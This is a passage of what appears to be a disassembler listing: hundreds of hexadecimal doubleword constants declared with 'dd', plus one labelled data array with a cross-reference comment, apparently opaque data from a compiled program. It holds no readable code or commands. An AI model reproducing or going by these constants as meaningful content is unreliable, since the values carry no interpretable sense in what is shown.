1AC74137h, 0B4F3335h, 0CFE94F02h, 628ED40Ch, 44DCB85Ah dd 68505740h, 0D50C2CF5h, 6010AB3h, 5FDB4217h, 2B895F09h dd 0BCE1476Bh, 82232AA5h, 4148C908h, 6446D02Eh, 78BDC126h dd 28A35215h, 0F3653814h, 540E0CFh, 7BE1BEEFh, 17A4395h dd 0B9138DCEh, 0CAE3E918h, 0A2571BDDh, 0C904FE2Ch, 0E6C2D402h dd 60D92902h, 0C059CF50h, 5225E388h, 4E7CE942h, 52AB080h dd 0C059C830h, 0E0BF04E8h, 71014A8h, 43503136h, 61EB7739h dd 12CABFE4h, 0D569DB51h, 80D9087h, 82300F02h, 120E6020h dd 38C90B0Bh, 96FDEA29h, 8979888h, 490F57F6h, 8305C317h dd 9D801A7Fh, 1F7E6165h, 0D85D5308h, 0DAF74409h, 97BB6875h dd 21C7E90Bh, 66CF285Ch, 0B405A830h, 0FDB903A4h, 0D4311FE6h dd 700C1ACEh, 6C99C86Bh, 7E070B2Fh, 7B680060h, 92BF12B6h dd 0FD2A08E0h, 0EF05A501h, 0EB77671Fh, 1852D5FEh, 0D488466Ah dd 80D3309Dh, 0C0B339ECh, 91E90584h, 0D22DFF98h, 8D2B6F61h dd 3E9DE037h, 0E6E7D5CFh, 7E61F5D0h, 0C2A45FDCh, 5A5E5808h dd 0B936840h, 61474B2Ah, 2D267DBh, 3EE55D5Bh, 2B5D348Bh dd 9B88DE26h, 7EE9E429h, 6AA22EEFh, 0B05EFC4Bh, 0D63A60E9h dd 0E3FC41CFh, 0F516F407h, 590B2EB1h, 1C95B859h, 0EE808066h dd 0FF88D827h, 304F2814h dd 8520FBC9h, 90E6BAF1h, 33599530h, 1431466Bh, 0C92C2F93h dd 9739A951h, 0FFABB116h, 35885A75h, 571DCEA3h, 0AFE5D2DFh dd 6D94FD35h, 31488DEEh, 227BFC0Ch, 7ADDC09Fh, 0A2115C5Ch dd 6F6AE603h, 0F6E144AEh, 0DA22D96Eh, 0F46FE275h, 2DBD4AFEh dd 19BD5370h, 0F4FA7BC1h, 9246CFC0h, 0C358D749h, 545A0294h dd 0DC5BDA29h, 816569D2h, 0DECDDD89h, 0E1E95BCEh, 420E926Dh dd 0D2949C1Ch, 69BA05CFh, 0C1AEE51Bh, 2EC329BFh, 0EED696FCh dd 0B62C4DD8h, 8AAB2897h, 0DF77C9Eh, 680EB2F7h, 0CED3DE9Dh dd 0E058C182h, 1363E78Ah, 810957ACh, 2CB5D8Bh, 98BCE366h dd 903DDD2Dh, 7F0CCBDAh, 0F940FB83h, 0F2C2D101h, 21F53179h dd 296D422Eh, 25C21D7Eh, 0A90B1580h, 0FA9F097Bh, 74FA0081h dd 5A557DFEh, 0EA3A2D5Dh, 0EC2AB24Fh, 8A078C05h, 0CDFD4C5Bh dd 3019C2D6h, 4EB5C778h, 601AFAA1h, 6F7955Bh, 0D898B5AEh dd 895FFD04h, 0E1C05DEFh, 0B09D7F4Fh, 23E2055Fh, 0AC0148E3h dd 0E90840B3h, 57F63225h, 9C28AA20h, 0EAC1D752h, 66880615h dd 80141A30h, 3498DFF7h, 6D650D1Fh, 0FAAE95FEh, 0B7BC5AEFh dd 0B363F017h, 750CD2D7h, 95E31F3Dh, 572FC645h, 625EF2BAh dd 121B41A8h, 0C22D6A2Ch, 520884EBh, 258E95C0h, 0B1D7DBAh dd 0E724CDF1h, 0E9CAC501h, 0FB853FD1h, 8443CBAAh, 0CCFEA9DDh dd 174E2032h, 0BDE68331h, 9280FAEDh, 360B0CF8h, 182F301h dd 0BDB0E908h, 5FC2FD2Bh, 17BA1DC4h, 5E63ECABh, 0F860F9E6h dd 79B5A58h, 1E00297h, 6143E1D9h, 41C2AB80h, 89C1E435h dd 33FE3B92h, 2685700Eh, 0AFF451h, 3B013E62h, 0FC685658h dd 73FC2604h, 0BF72E4C5h, 39B9B4CDh, 7A3812F5h, 7061BF5Ah dd 66001CACh, 5E79E7BDh, 3EC25935h, 2753561Eh, 0C7688130h dd 47F13E71h, 0B70DD498h, 231259E5h, 91B818CFh, 4E07F273h dd 46F195h, 946242DBh, 192C6640h, 0A603D70Bh, 0D11E749Eh dd 0A5FF4BB0h, 9695A0Fh, 25B71601h, 8D4A6C00h, 0F3FE3FE2h dd 0E9DFE927h, 0E36F1CACh, 140B92F9h, 0DB18051h, 0C531649h dd 2E8C158h, 5012D96h, 0E9DB4F44h, 356A8C42h, 8245F179h dd 6E20FBB6h, 0E1BA603Bh, 0FE6378EAh, 0A007ECC1h, 304834CDh dd 0C8D61795h, 78517B2Bh, 0C19912A8h, 0C3CD06EBh, 0EC4476h dd 0E80E182Dh, 0F58BD20h, 4C59F60Bh, 3D157107h, 0CD382E04h dd 3A87C003h, 1B5A1F05h, 0A640CAB1h, 2727A8Eh, 378C3570h dd 58550B5Eh, 5FEF0107h, 1B00F80h, 544661F8h, 1D04EFE7h dd 80283B62h, 882AF316h, 513A80EFh, 695B4368h, 0D44CEECAh dd 0B2F79212h, 61AA9366h, 2AA831C0h, 870A3D35h, 0B3BFED8Eh dd 8F491F22h, 17FE2FC5h, 4274BEE6h, 407EB6EAh, 6B025AC6h dd 0F0E9751Fh, 2FED751Eh, 0DBE95302h, 0B121C843h, 6223F0F5h dd 0F72976CAh, 9E4291C2h, 8BAF59FFh, 0E129621Ch, 8CFEAFD7h dd 616834AFh, 83E95BD9h, 0D3E82BB9h, 0FB3D0F85h, 813C3328h dd 0B35D644Ch, 0DC1B9DA0h, 0C33C0E1h, 0C962549Dh, 1CB87DACh dd 85B6415Ch, 25B88403h, 450401C4h, 0D0D51A30h, 0F312A21Eh dd 7E6D3E8h, 0EB0BE912h, 0B5C5C3E8h, 1132BE3Ch, 2F097C0Ah dd 0E4CE5124h, 0DF780196h, 593995Eh, 1381F9C8h, 0EBDDD46Eh dd 3BB40F55h, 1A3B8067h, 16643558h, 57901E6h, 9D70A480h dd 0E1852089h, 0E3F25Dh, 55515854h, 562D068h, 0E95D1076h dd 8BB14B02h, 6870BB76h, 0E36D4E25h, 685AC1E4h, 313B5278h dd 510EC33h, 0B8E9C4BAh, 0EFA24B87h, 9E5CF7C9h, 8712D32Ch dd 71B51F45h, 0C53982ABh, 80ABB605h, 6E3C030h, 9E0806CFh dd 0E2090C53h, 8594577Ah, 32E94155h, 86FC4A01h, 0A3A79916h dd 0E5A31377h, 0CD527688h, 6A22BA12h, 53FE6E01h, 20603925h dd 49C50478h, 1FB299Ch, 33DAE9D8h, 68445902h, 93CA572Dh dd 9185C113h, 5EAE223Fh, 208A15Bh, 0E6C82517h, 960B3055h dd 0C64C0176h, 820C829Fh, 0C8A63D69h, 5FCE6812h, 0B7BC301Ch dd 340DB405h, 0DB3F381h, 82AC5C44h, 38BDA25Bh, 0EF79E0AEh dd 48C965BDh, 5E10841Fh, 0EED11764h, 830EF704h, 0CBE4196h dd 253E562Dh, 7838030Ah, 0CB10CF0Ah, 11A07507h, 644EAC68h dd 0D210B0A3h, 0B75D2C5Fh, 2E4E3702h, 6028D741h, 0BE322F08h dd 31258058h, 2015D0C3h, 0C59562EEh, 7090BFD9h, 525B0031h dd 1C21EF68h, 6922B471h, 0A39BE307h, 523028B0h, 262B7C58h dd 0DF47947h, 0D739E9D0h, 581D3FF5h, 4AFF69C2h, 35D1775Bh dd 688DC18Bh, 24135F84h, 3E3B6F1Fh, 24C969AFh, 4E43EC3h dd 0DEBE0E56h, 0BD6E878h, 0BE9A5EA5h, 2D3C64D7h, 4B76A54Fh dd 0C8E84B62h, 0CEB4EC17h, 0E2072306h, 1FC29358h, 8557CAE1h dd 17E9640Ch, 756832F0h, 91E695C5h, 751BA4C1h, 337025D9h dd 6E4681A7h, 68926F1h, 9B044E08h, 0DDAC0B8Eh, 8076B84Ah dd 0A5C256A5h, 5EC5B277h, 0BB3CA85h, 0F1EE428Dh, 54551FC5h dd 0C5D8ACC2h, 89680588h, 2509BD60h, 0CBEBAEF8h, 1FCE206Ah dd 0C170E776h, 561469CCh, 0CE1C7A31h, 7FE62EFh, 87A75D0Bh dd 0BEE57569h, 7DA49E0Bh, 0EBC52738h, 6FB16317h, 12AD84EBh dd 83CAAA08h, 0E32FC058h, 717A912Ch, 13B8D0Bh, 0B2B275CAh dd 0E9DA0D20h, 279DD0EBh, 53134A5Ah, 0A07C7F78h, 172DED44h dd 532FC313h, 76AF47E4h, 0EC18A88h, 15EE56E9h, 0CAC0C289h dd 0C0E09C2Dh, 65CD2B4Bh, 82E16230h, 6BBF5643h, 47BD03A0h dd 0E52CA49Ah, 5E2DC531h, 20D91E7Eh, 34F70398h, 61070C68h dd 0C688022Ch, 2EFCB0B5h, 12EAB800h, 752D03EBh, 42ED1C12h dd 28060600h, 77E97619h, 6A7BFD7h, 590C2081h, 58006D3Ah dd 4549642Dh, 5EBCE96Eh, 0C9AE4CCh, 0E699F3E0h, 54C0580Bh dd 0F568E3ACh, 205C9748h, 39BB07ADh, 0A44B7002h, 0DC0BEAE5h dd 68B9DD89h, 98F27B50h, 9F9C1A4h, 745B021Ch, 7A654F9Ch dd 0F60AE87Fh, 0F968046Ah, 0E320997Bh, 0E0F04AD6h, 0C6D644CDh dd 8C75AE04h, 94AF4E2Ah, 0D8C02F9h, 0A3551A68h, 922093AFh dd 10C2DFF1h, 0D7AD1BD4h, 0A85CDD16h, 1BFD02Ah, 2E0A6C9Eh dd 0BA79ABEh, 904950F4h, 0C0784774h, 58DEE91h, 0EAB576E1h dd 5A0804E5h, 0E9C40ABDh, 0BB29EEC0h, 17331A30h, 1F504E3Eh dd 8C79454h, 0EE5BBB64h, 87318DDEh, 3219605Fh, 0EAC300E7h dd 291870B2h, 555B00DFh, 0B0400FBDh, 0EF4C094Ch, 0B8BF785Bh dd 53D668DDh, 0BA1DD30Ch, 0AC8015Ah, 40F35BE9h, 6D5E6758h dd 0AE4F4733h, 609BD205h, 0D09C2F99h, 491FA583h, 0F428D643h dd 0A50E5955h, 623134D7h, 55BAB9E9h, 0D0262165h, 9FDF9ABFh dd 9F13774Bh, 2851A1D9h, 32568F99h, 0E61F92FEh, 0FE09C773h dd 700CD45Fh, 0F58A7950h, 0C5CB5A7Bh, 77926F3h, 548F1391h dd 3C24BA40h, 10580CBBh, 0F9EFF18h, 0B5CFFA25h, 0FA73EC8Fh dd 8E6F477Dh, 60144588h, 3C4EBD21h, 751726B3h, 2D92CB18h dd 4DBFDA5Dh, 0BB4FD192h, 0D8D6FA0Bh, 5BE0561h, 16F7B67h dd 0EC6AC893h, 2CA46F56h, 277C75EEh, 0FDC033E8h, 0F895EB83h dd 9842C4Fh, 140661C7h, 0E8F52E73h, 0D1C0806h, 1E845E97h dd 12B52E18h, 4D27F62Eh, 8A0B00E2h, 2BE68111h, 6917250Ah dd 19309F70h, 0B3E569A5h, 6B2C1359h, 38E51445h, 125CED07h dd 84F09982h, 0BC27695h, 4CF90661h, 98F5BE13h, 2DA2F07Bh dd 0F7558B60h, 58A673FDh, 24048026h, 0AF9ED096h, 0C55A9F04h dd 401ED10h, 0A4069335h dd 26813E02h, 6600D9C0h, 421DB252h, 5A92D588h, 0CFD0BCB8h dd 0A04020Eh, 0CBE92242h, 880E7BD4h, 0C6F6E5E7h, 4B49B7ABh dd 652B00Bh, 76A7BBD2h, 7FD009F5h, 2B7631FBh, 16DD8958h dd 0F4F155E9h, 200C1B5h, 2C0D37AAh, 7441E0Ch, 0AE7E4325h dd 51EE5158h, 3548F8C2h, 824E3D70h, 7E5633ACh, 6C3DAF4Ah dd 73D2EB01h, 43EB0A87h, 7508A92Ah, 96CE2885h, 0DCBD004Eh dd 945653Eh, 0E85DEE2Eh, 0F3C3D385h, 0FA7C4AAAh, 9EC2A5C4h dd 0A520DBF5h, 7C9D029Eh, 2168509Dh, 0BC1DF9BFh, 6332B616h dd 0EE8D5551h, 0EF8F4E78h, 4F12B72Bh, 412F8FC8h, 85520B4h dd 39345B1Eh, 34909BCCh, 80C409FEh, 0D25525ECh, 48F7F0DEh dd 0E225256Fh, 0E2536EFEh, 268EF6AAh, 10786A11h, 0B3530B8Ah dd 42C0F5C6h, 1B954C98h, 75C3CAD7h, 4C553D89h, 0F348FA7Ch dd 0B285432Fh, 0B4CF1439h, 2882A068h, 2E11C35Ch, 9F0F0F96h dd 0AEC9C550h, 22C26D03h, 10EEDC47h, 0CA049651h, 1B7030h dd 405C6A4Ah, 645EBD45h, 5E385098h, 2035093Fh, 0B723ADE9h dd 0F9B9C009h, 0C4CF38F1h, 0C7F25198h, 3E31E982h, 27E7C457h dd 98DDAB68h, 62CCADF2h, 727602Bh, 3C63047Eh, 61669AB2h dd 1E3E3D4Bh, 68B142C7h, 0EDA257B3h, 315F0D72h, 0E37A9FEBh dd 45E1064Ch, 0F0C571Ah, 15D43D09h, 0FFFD829Fh, 0F3FC050Fh dd 164F9620h, 0E85AF209h, 0BFE18F30h, 0C522B494h, 0BB530001h dd 3748674Ah, 685828E9h, 2C298378h, 0F54D8A4Eh, 2AF5CCE8h dd 7ABAD412h, 7D7BAE01h, 0C813762h, 0D9A0A96h, 0D5E9F129h dd 56CA6AAEh, 6C95F03Eh, 7B900D3Fh, 0F87E6E16h, 0EF5BA136h dd 0BAAE32Fh, 542ABE68h, 0E60E6BC1h, 2CE157D8h, 31CF141Dh dd 5F1EF187h, 0D3F372E5h, 0E040B2Dh, 790083B5h, 8C2F877Ch dd 275E449Eh, 6C76D4B3h, 0E3209A07h, 2631869h, 51DB00F6h dd 0C5FEF7B5h, 0E89F52E9h, 286257D0h, 9CF92D4h, 27A417BFh dd 0FF0CD6FEh, 3DEAA52Fh, 2C2F0429h, 4DF2D690h, 52C85713h dd 0E91488EAh, 36113F32h, 5AD8D509h, 395BC30Ah, 7600DC7Dh dd 31C02ABAh, 0A001F6DEh, 95C74FB1h, 0FC2DEFC5h, 0EB7449B6h dd 826853E0h, 2D402771h, 56D26460h, 0C1253C04h, 8DC006EBh dd 0A121F099h, 9543CBE2h, 0D63A5136h, 0CF2563DDh, 9DCFAD6Ah dd 12D87AC2h, 9A5F2E4h, 165F4768h, 0ACDC1985h, 0F45A2567h dd 1FB626DCh, 3F4B09FBh, 0DC251DD2h, 979B593Ch, 6830AEE5h dd 5053F268h, 0B5769374h, 0BEC70624h, 5E25153h, 95199094h dd 24292AF9h, 0D4404107h, 2D549988h, 5524FCF2h, 2D614F3Dh dd 9D4138Fh, 39A70A05h, 39B15CFBh, 7298168Bh, 0F9805C89h dd 112B21CAh, 17EE3D52h, 161AF287h, 0F9FE0108h, 29ECF4EFh dd 40BE98D0h, 56775E07h, 0BD045C4Ah, 8DAF4E68h, 0DA9BA594h dd 0B46FF594h, 0E7B5E5BAh, 6FE99CBFh, 8CB08A89h, 0DCBD5B58h dd 0E7E95039h, 6590E55Fh, 925D0580h, 90067EFBh, 0C2C59F01h dd 88529B30h, 0B8F3E4CEh, 3BDC4C2Eh, 0AA820D84h, 731B0341h dd 0F23F351Ah, 12C54CFCh, 0F6B3C67Dh, 0BC019A00h, 87BF5709h dd 7B305213h, 0DCA06C53h, 55AA40FBh, 1589ED97h, 5CA1885Dh dd 374C3055h, 756C129Fh, 1457FCC2h, 0C314448Fh, 3531DF5Ah dd 0AB1473EFh, 0CA5BB3A7h, 0E0D051A8h, 4309B948h, 6E4CE4E9h dd 5EBCF664h, 68DF30C3h, 379C4908h, 0AB282162h, 0C4E4D474h dd 40EDD031h, 36009435h, 0D2D55F6h, 0BC09D1E3h, 6D1D0801h dd 52AEB913h, 85221DA3h, 0EE79AB7Ch, 80920D4h, 646FF59h dd 20C5F32Fh, 913DD03Fh, 0BF9EF678h, 0D1F5E362h, 2768E18Dh dd 0CCD5C27Ah, 82F6BEDCh, 6B33106Ah, 164FC084h, 0B4C937FEh dd 274BF950h, 968FDE59h, 41585EBCh, 533345BAh, 1C0E6028h dd 3E8FE5BDh, 1907CB18h, 1806FEC6h, 0EE0135F0h, 90883ECh dd 9E6BC01Ch, 3B683781h, 0A68A6B75h, 0D6C8E34Fh, 16B1CFBFh dd 8EB9DD9Fh, 7B508BD1h, 5BEDB255h, 2583B028h, 0D3FDF8E0h dd 0E2D71E92h, 0A618DF21h, 0ED88AE42h, 8A7507BFh, 8EC5296Eh dd 9C5F0854h, 0B594B9A6h, 2DAB5B12h, 9C9DBFA4h, 0AB2CCE9h dd 63CDDACh, 277D96BFh, 1155B3B1h, 3C7ACAC3h, 0F2588945h dd 540A2764h, 294B5E5Fh, 5CB9A0C8h, 5283FEC6h, 0AA9C0367h dd 0E50291BCh, 2FE86434h, 73D38F80h, 18C161D6h, 7D436723h dd 0A0F9F770h, 364B572h, 30A4B353h, 0E8825BDDh, 485C281h dd 0A6817BB0h, 272BEDA3h, 91EA8427h, 0C63C68D1h, 5C0D987Fh dd 64EB83C5h, 0A065D9C4h, 0FB5FC5CFh, 0BD050BE0h, 7D5974D4h dd 0B77B1625h, 258992DBh, 304C36AFh, 0B00FC120h, 8D302083h dd 0E1B75302h, 0C1F5E780h, 8C3A9471h, 9A491841h, 60EB2741h dd 0B9BDEDA1h, 2B7024Dh, 8F5722A0h, 7096CB30h, 1445B746h dd 0EEA0874Bh, 3B0FDD9h, 2002EF6Dh, 0E9469658h, 5835893h dd 0AA11C2BFh, 111CEF6Ah, 764D79Dh, 0F61C3602h, 14DB7CB6h dd 0C5048E46h, 0FA753772h, 62A50E1h, 123299B0h, 5AF80279h dd 335A77F2h, 0D1E9F681h, 0CFC0133Eh, 40E90E48h, 0CAFB16ACh dd 372F7EF0h, 0D1CE8E5h, 0E92FE148h, 0F756DFA3h, 43BD0080h dd 56B12439h, 0C6C102CCh, 4C5FA94Eh, 2DA4C0D7h, 6867105Ah dd 8702BE31h, 0B150C882h, 0FC5B28C3h, 0C6A89737h, 711C3008h dd 5024390Bh, 0BF028652h, 7C4C241Ah, 705A51B5h, 8740509Eh dd 4EB7DE59h, 0BE124DAAh, 0C3103F8Bh, 865A60A5h, 0A0428A2Dh dd 1D5BDFF3h, 0BC013AC1h, 0FD08A275h, 84541842h, 58B05EE9h dd 6880D482h, 86E695A6h, 92235E9Dh, 63C014B7h, 272CF81Dh dd 9F7F945Fh, 0E925014Ch, 0BF988765h, 17F12181h, 0A001AF2Ah dd 7E7D97E1h, 5F912F60h, 1DD64168h, 600BEF44h, 6A17FFA1h dd 0D3BE1CE4h, 9DA681Eh, 2A605DDEh, 4E7B0B75h, 46EB351h dd 59CF87F9h, 91A5986h, 10DC4B73h, 0F105527Ah, 67E530B8h dd 4F539F01h, 0D6161C2h, 1D47A150h, 84774F0Dh, 508DACC5h dd 4F1EAD19h, 0DD5A0779h, 0E9080158h, 62431F69h, 2F55B0D1h dd 5D95EF7h, 0CDA98E39h, 7EDC82F2h, 7741EF13h, 0D3E8CC22h dd 0D67237DCh, 525380C9h, 0EE803FB6h, 5AE97B09h, 71ECD1DFh dd 70DFCEE9h, 0E2584B6Ch, 0DA13C4DEh, 3FCA2DBBh, 8BB1ADACh dd 81747B4Dh, 0D734F3EFh, 448C24D8h, 3D40017Dh, 0EF76955Fh dd 0A4E92754h, 0DE019C82h, 1D218C1h, 0D478D6F7h, 0A5F0C602h dd 0F7041Fh, 0A6BE568Eh, 272284Dh, 444C5FF2h, 0A9BAAE29h dd 82898933h dword_4F0044 dd 93BF7C1h, 95499E55h, 8D96092Eh, 0EAA87A64h, 0FB973E84h ; DATA XREF: ___:00437DCCo dd 2FCFFAB3h, 0E9BB45F1h, 821A2885h, 0FB0AF668h, 4E50221Fh dd 7D41AAD6h, 1FF532DAh, 9058B96Bh, 10445E0Ch, 0FE09C2AFh dd 0F33C535Ch, 5DA6629Fh, 5C6457F3h, 0B25A88B8h, 6866C112h dd 5ED3529Ch, 873894B7h, 0F927ED01h, 0E9158583h, 0C8FF96B5h dd 6815579Eh, 7326FCh, 0C571E4BEh, 5ADAE940h, 9F30B3E6h dd 0E9062989h, 8C2E9600h, 1C128F9Dh, 0E50A3A1Ah, 0C212068Bh dd 0C8249B5h, 51EC447Bh, 204ADC55h, 0E9551608h, 0B078D09Eh dd 0BD7A0469h, 8FC5F54Bh, 0BBF96CCh, 0ABFCB58Fh, 81310055h dd 0F265B2F7h, 11094C51h, 0FEBF134Eh, 16AF7835h, 4840905h dd 0BB73BC16h, 1F417712h, 0EE2006AAh, 9F82DBA1h, 87D194F6h dd 662DCA38h, 898AAF72h, 6CC204C3h, 0AC28A272h, 2E2D0CCBh dd 0B12F532Ah, 3BD5F8FEh, 80DD05B9h, 0E38E34F2h, 612EE9DFh dd 51C0FCC1h, 0FA8012B1h, 0A206CAB2h, 42DB39BDh, 3A225A17h dd 0D1A63840h, 0B70F16C2h, 952B6CC0h, 66D8F2C0h, 0D95A508Bh dd 472E013Eh, 0FDE95735h, 311E9243h, 0BBE812h, 15AF2DC0h dd 895B4051h, 0BEE60B0h, 2F753BDBh, 8F84CFAEh, 5D81AB4Eh dd 3303B2CFh, 0B1F1BB5Bh, 0DC52AA2Bh, 4BCE9FFFh, 3B5A8346h dd 477B18Dh, 0C40DCBEEh, 30A0E92Bh, 4B3C4AEFh, 8D1F5E0Ah dd 0CA322B2Ch, 0E19C7729h, 9DA0E913h, 5F85C337h, 2BA4F456h dd 355440CCh, 0DBB7AF02h, 7AC789D8h, 0C504A13Ah, 20F54902h dd 7517C2E4h, 0CFABFC4Bh, 0C19D411Dh, 0F86FE558h, 0BDAA4089h dd 272CA917h, 0A22C72AEh, 0D511DE09h, 80B43E2h, 98BA367h dd 55D2026Fh, 7836FDDBh, 945D4890h, 55DE1032h, 0CC2FFE4Ch dd 385E33C8h, 0CC0B5732h, 0BDFFD0FDh, 0ADDD3231h, 0A53474A2h dd 0E913F096h, 0AB354620h, 0FA9684EDh, 0DABFFBC4h, 4D23402Ah dd 0FD892B4Ah, 10BBF73Fh, 40014839h, 0D954E82Dh, 7B6A8242h dd 0D50A5F8Bh, 0C5317501h, 65383458h, 5D6C8A2Dh, 1708C588h dd 0C289E25Dh, 0A2081F68h, 0FBFBD90h, 7C7EF377h, 64AA362Dh dd 1C535C14h, 30C884B1h, 934AF40Fh, 0BF93C0B3h, 0C1EE9E27h dd 0B9A2CD3Eh, 1A704431h, 0A58D935Fh, 0F68B8351h, 0E825ECC5h dd 0B4E89D53h, 7EE11607h, 14B459E8h, 0AE16EF8Eh, 5ADC89BEh dd 0CB680B1Bh, 96183055h, 75B0162Fh, 0BBFE104Eh, 0D87BFE02h dd 4855495Dh, 3A68CEE2h, 2A9C0126h, 0E55F257Ah, 0A88F0BABh dd 17F66168h, 0ACDC082h, 45243D2Dh, 456FD497h, 0AFD7F71Ah dd 417B3300h, 975D3CBCh, 2D09D8F0h, 772AB2C7h, 6E7FD36Ah dd 0FA5E4E62h, 0F84F9631h, 92EF8100h, 3FF36E05h, 0B610CF29h dd 2A1E5108h, 3AA799h, 9DBD554Bh, 2701DE53h, 369BCD81h dd 0D4217F8Ah, 25A64FF4h, 0EE452155h, 680431A6h, 9FA32B5Dh dd 2004E104h, 21239102h, 0ECF32ED8h, 0A085258Ah, 365820DCh dd 1ACE8100h, 0D1469251h, 5CF6F0E6h, 0E830028Fh, 7445E9AFh dd 77EA495h, 0C819EC81h, 0DB108439h, 25414A41h, 3A366852h dd 8864693Fh, 5599942h, 98282A68h, 0D8950DA7h, 98E9175Bh dd 0D0B537BDh, 78B75464h, 0EB60509h, 0D8C50245h, 5B07812Dh dd 81E2F029h, 0ED6DE914h, 0FE5D4297h, 9D5E14CBh, 2E803D1Fh dd 50AFF290h, 8E290269h, 67A4680Bh, 0F5AAA5A2h, 7A248269h dd 7D2C97D2h, 0E1524E79h, 0D9ECC2C6h, 8C638254h, 7A79FFB9h dd 0C928DF8Ch, 8E005543h, 3FF41316h, 0B354E6F8h, 0C097EF8Ah dd 0E9015D91h, 316832E8h, 0BAA313DBh, 4C43739Bh, 5EBB2EF6h dd 2565B758h, 126216E9h, 474282D7h, 3181010Fh, 11A5E8CEh dd 7F5A5F2Dh, 0BDD85FABh, 986C1996h, 0B99A49Fh, 0D3D3357h dd 0CA952D84h, 2A214C5Bh, 1898BFB8h, 980062F0h, 9DEB8164h dd 900C7B59h, 0C3833074h, 30D5E33Ah, 893A752Fh, 1DC38091h dd 3F2C370Fh, 0E331E94Ah, 0C42AC191h, 1347396h, 8175CF9h dd 228FE0B1h, 42297E02h, 0E9EC307Dh, 6040E59Eh, 1F90D58h dd 13E68166h, 0FF759817h, 0E942D5DCh, 9128847Bh, 4A580CD8h dd 2FEFDD02h, 410D51C8h, 49AF20C1h, 50A9259h, 521CCA2Dh dd 5F88E81h, 65B90745h, 40CC7D8Ah, 0D95FAACEh, 5060115Ch dd 3CFFFFFAh, 4DFD5EC5h, 0A20B84h, 0EBC0DBF6h, 0C3801C02h dd 81F3CCBDh, 0FE79B806h, 5590CBF6h, 0F5BACD24h, 0D1F18BA8h dd 0AF9D2A4Ah, 8A4EBD68h, 5BC84AD6h, 2F099DC8h, 0CB4F4EF1h dd 68DAA19Ch, 0A16D62BEh, 0BD763E24h, 4813C885h, 0C3392461h dd 6D133B33h, 0E00C5AD0h, 0EF6A3D46h, 2F8DCD7Ah, 0E3EBD664h dd 904D84FFh, 0C0FCE2FEh, 8023E0B9h, 0BF2D0573h, 82519B30h dd 7870576h, 357D059h, 0F0F73778h, 690B2848h, 5511D0E9h dd 0E7525511h, 0F157DED2h, 0B1EA132Ah, 2BBB2B85h, 80304F9Ch dd 55D36850h, 88E45447h, 75C1E4D0h, 97BFB858h, 0BD9A389h dd 9E8A5C59h, 31088BDh, 59F17125h, 6B540C05h, 9AC57F53h dd 5C08A210h, 0ADFA10C6h, 2A98824h, 87F18058h, 1FC1FA84h dd 0D28DCA1Bh, 981BFFF9h, 0A4A0B6C1h, 6F026924h, 5D204027h dd 290B8CFBh, 588674F7h, 91879C7h, 0BE0C43C5h, 14CC2D21h dd 45E5DE50h, 5DEA8308h, 5EE9355Ah, 0AF4AA05Fh, 554B379Ch dd 68050065h, 575E4C8Eh, 59355502h, 0A581C079h, 0AD89DD86h dd 0E3980A52h, 2916E99Fh, 2173F741h, 93D7B63Bh, 0EA3206E4h dd 0DE1B48A6h, 0CA538302h, 835D5A49h, 0AD8CE948h, 4A7B01E7h dd 0AB028443h, 129216A9h, 59C4C2DEh, 0C1D2907Dh, 87081EEFh dd 8D15ACFh, 4CB3D41h, 0C42D67BFh, 5FF3AC22h, 604A82Dh dd 604A17F8h, 54FE68A7h, 0DCCA9897h, 2A2D2D5Dh, 0EA59A2F6h dd 9B71D6D5h, 0A67E132Fh, 0C4E959FAh, 0FB5723E7h, 4350B68Eh dd 0CDBD806Dh, 79756504h, 0A88BEA01h, 0A7DA4A7Bh, 0B5C063Bh dd 55FC354Fh, 0F07E4750h, 285A2F24h, 0B5D659Ah, 0E0000194h dd 0E9402562h, 0ECBCA461h, 950A6682h, 81EADC4Ah, 4183BBEh dd 30AC595Fh, 5505F365h, 0FCE968D7h, 0C30F49BAh, 0BEBCC584h dd 0A6371B39h, 0FBFEF312h, 9E1C49C8h, 47BE003Fh, 295EAF17h dd 415EF569h, 0CA735C12h, 8451E982h, 5DEFD9A1h, 378DC268h dd 0C1F56F28h, 9992B730h, 0AF55936Ah, 5327548Bh, 2962367Ch dd 9D8ACC8Dh, 685A2CF0h, 0DFBAE017h, 0E47818E1h, 1EEF802Ah dd 97FC882Ah, 38A6A109h, 373F5B0h, 0E9290CFEh, 4BF3C054h dd 8408D62h, 0CACA5FC6h, 2AF3A941h, 0C3098745h, 68C2CEB2h dd 0C1592A60h, 0EE0C492h, 0BD3A985Dh, 5D52035Ch, 7710F3A6h dd 0F77E80B7h, 9DFC465Bh, 5C257AD0h, 97F29CC3h, 5F4CDDD3h dd 8CE434E9h, 9CB3EE3Ch, 0AB17D935h, 9AC4E418h, 76B81D71h dd 2067A601h, 9A88EA08h, 259890CFh, 535A415Fh, 0A99D7429h dd 5869DD49h, 0BD547FBFh, 121A387Ch, 0A6F96B96h, 5C090841h dd 4199C508h, 6E49258Fh, 40BD022Ch, 0F1502155h, 15D7D81Bh dd 1D1D1AFCh, 0A5405D45h, 0D86C9C22h, 7436BA00h, 0F4C89213h dd 0DF030516h, 0EEA763E9h, 50008BF7h, 0F96416B8h, 0C1E24802h dd 1380E85Ch, 23EC118Fh, 899F893h, 21C1F36h, 1DE31A54h dd 246CB85Ch, 0B4DE02Ch, 0D7E1E97Eh, 0CE81717Ch, 67D62386h dd 105A97Eh, 644BA56Fh, 3460F509h, 0BB9FD752h, 5E7B4D8Bh dd 8B8CADD0h, 193C507Ah, 0C653D7F7h, 1AFBCC7Fh, 0AC6283FCh dd 8E31661Ch, 0DBB8928Eh, 0FD530844h, 0F7F80565h, 0FDE919D5h dd 20316ACFh, 2C903045h dd 14E8A54Ah, 0BAAAE7E7h, 50578FA6h, 0BA2D3304h, 0B0E7941h dd 88906291h, 6EC441E2h, 0B85F0DA4h, 0DC0E2D41h, 0B97E4BD2h dd 0F2123CD7h, 191F108h, 0EF2E53BFh, 44813B1Ch, 247AC599h dd 161FE9DFh, 0F031A7FBh, 172A9AB5h, 23D4FB62h, 14734887h dd 0B30E125Bh, 0A141E0C0h, 4C3EE49Ch, 0DB3231FEh, 0B5BAED82h dd 3D4B7304h, 10A4C456h, 890F08FBh, 0F6205DEEh, 838D2FD2h dd 598B83B5h, 435A1221h, 249EDC5h, 0FC7D3735h, 0E4C75D50h dd 2E5BE906h, 0E8DF5B2Fh, 67AC5AA4h, 9233AA00h, 1BA7B970h dd 0DBE54224h, 417F3F02h, 8128F568h, 1E5B1808h, 0F53C2CF6h dd 4FECCC46h, 9D5812F0h, 0F9E9D8DEh, 5AC6EA7Eh, 0D0BF5D5Ah dd 0FF515C86h, 0B39E84Ah, 